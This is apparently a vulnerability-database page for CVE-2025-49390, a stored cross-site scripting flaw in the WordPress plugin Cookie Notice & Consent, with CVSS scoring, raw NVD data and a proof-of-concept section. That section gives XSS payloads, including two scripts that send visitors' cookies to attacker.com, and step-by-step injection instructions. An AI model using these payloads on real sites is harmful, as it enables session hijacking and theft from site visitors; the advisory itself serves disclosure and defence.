Security Vulnerability Report
中文
CVE-2025-49390 CVSS 7.1 HIGH

CVE-2025-49390

Published: 2025-11-06 16:15:53
Last Modified: 2026-04-27 20:16:15

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in christophrado Cookie Notice & Consent cookie-notice-consent allows Stored XSS.This issue affects Cookie Notice & Consent: from n/a through <= 1.6.4.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Cookie Notice & Consent <= 1.6.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-49390 Stored XSS PoC --> <!-- This PoC demonstrates the stored XSS vulnerability in Cookie Notice & Consent plugin --> <!-- Inject the following payload through the plugin's input fields --> <!-- Basic XSS Payload --> <script>alert('XSS')</script> <!-- Cookie Theft Payload --> <script> var cookies = document.cookie; var img = new Image(); img.src = 'https://attacker.com/log?c=' + encodeURIComponent(cookies); </script> <!-- Session Hijacking Payload --> <script> fetch('https://attacker.com/steal?data=' + btoa(document.cookie)); </script> <!-- Steps to exploit: 1. Identify the Cookie Notice & Consent plugin on target WordPress site 2. Navigate to plugin settings (usually under Settings > Cookie Notice) 3. Inject XSS payload into available input fields (e.g., notification text, button labels) 4. Save the settings - payload is now stored in database 5. When any user visits the site, the XSS payload will execute in their browser -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49390", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:15:53.260", "lastModified": "2026-04-27T20:16:14.987", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in christophrado Cookie Notice & Consent cookie-notice-consent allows Stored XSS.This issue affects Cookie Notice & Consent: from n/a through <= 1.6.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/cookie-notice-consent/vulnerability/wordpress-cookie-notice-consent-plugin-1-6-4-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}